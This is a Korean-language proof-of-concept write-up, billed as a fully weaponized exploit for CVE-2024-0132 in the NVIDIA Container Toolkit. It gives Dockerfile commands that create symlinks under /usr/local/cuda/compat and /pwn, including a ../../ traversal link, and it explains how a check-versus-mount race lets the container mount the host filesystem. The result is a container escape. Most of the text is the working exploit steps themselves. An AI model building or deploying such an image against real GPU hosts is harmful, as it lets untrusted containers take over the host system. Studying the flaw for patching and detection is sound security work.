
CVE-2024-0132 – 완전히 무기화된 NVIDIA Container Toolkit 익스플로잇
CVE-2024-0132 PoC
기본 이미지를 결정하는 것부터 시작하겠습니다. 시스템 내 라이브러리 배열은 이미지 종류에 따라 달라집니다. 예를 들어 alpine의 경우 /usr/lib64/, ubuntu의 경우 /usr/lib/x86_64-linux-gnu입니다. 여기서는 ubuntu를 기본 이미지로 사용합니다.
FROM ubuntu
nvidia 컨테이너 툴킷은 컨테이너 내부의 /usr/local/cuda/compat/에 있는 라이브러리를 확인한 다음 이를 메인 라이브러리 디렉터리에 마운트합니다. 이 이미지(ubuntu)의 경우 이 디렉터리는 /usr/lib/x86_64-linux-gnu가 됩니다.
링크도 함께 마운트되므로 이미지의 모든 파일과 디렉터리를 /usr/lib/x86_64-linux-gnu에 마운트할 수 있습니다. 이 프로세스는 링크가 컨테이너 내부에서 확인되는지 확인하며, 경로 탐색을 위해 여러 개의 ../를 사용할 수 없습니다. 그러나 컨테이너 내 마운트를 /usr/local/cuda/compat/를 통해 두 번 사용하여 이를 우회할 수 있으므로 TOCTOU가 발생합니다.
/usr/local/cuda/compat/에서 마운트하는 메커니즘에 대한 자세한 내용은 다음을 참조하십시오.
RUN mkdir -p /usr/local/cuda/compat/
두 개의 디렉터리를 생성합니다.
test 내용을 가진 일반 파일이 포함됩니다.RUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
이름 libdxcore.so는 필터를 만족시키기 위해 선택되었습니다. 주 버전(1337)은 실제 드라이버 버전과 달라야 합니다.
/usr/local/cuda/compat/에 두 개의 링크를 생성합니다.
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/의 내용을 /pwn/libdxcore.so.1337/으로 대체합니다.RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs를 /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs에 마운트합니다. 검사 시에는 일반 파일이지만 마운트 시점에는 /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs에 있던 링크가 되므로 호스트 파일 시스템이 /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/에 마운트됩니다.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2